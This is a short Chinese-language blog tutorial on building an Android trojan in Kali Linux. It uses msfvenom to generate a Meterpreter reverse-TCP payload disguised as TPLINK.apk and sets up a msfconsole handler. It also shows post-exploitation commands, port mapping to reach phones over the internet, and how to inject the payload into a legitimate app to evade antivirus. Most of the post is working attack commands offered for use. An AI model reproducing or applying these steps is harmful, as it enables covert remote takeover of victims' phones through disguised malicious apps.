kali下androidshell那些事

Ken1Ve · 2022年11月4日

普通版

在 kali中我们可以利用 msfvenom来生成一个Android木马。命令如下：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > TPLINK.apk

这样便生成了一个名为 TPLINK.apk的Android木马。

然后我们配合 msfcosole进行攻击即可。

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LPORT 5555
exploit

手机端安装并执行，成功获得shell。

命令格式： paly /root/xxx.mp3 mp4

background
use post/multi/manage/set_wallpaper
sessions
set sessions id
set WALLPAPER_FILE JPG
exploit

利用 armitage图形化管理工具

我们可以利用花生壳进行端口映射完成外网木马的渗透测试，添加端口如下！

然后在kali中设置花生壳的端口和ip地址即可。
那么！你还有那些另类的玩法呢？一起在下方交流吧。

对于以上的木马，是无法通过杀毒软件的查杀的，我们可以将 payload加入到正常的APP中，来起来免杀的效果。
命令:

msfvenom -p -x test.apk android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > kali.apk

命令详解:
-x: 后跟原生态app
生成的kali.apk为新的木马文件。

版权属于：逍遥子大表哥

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。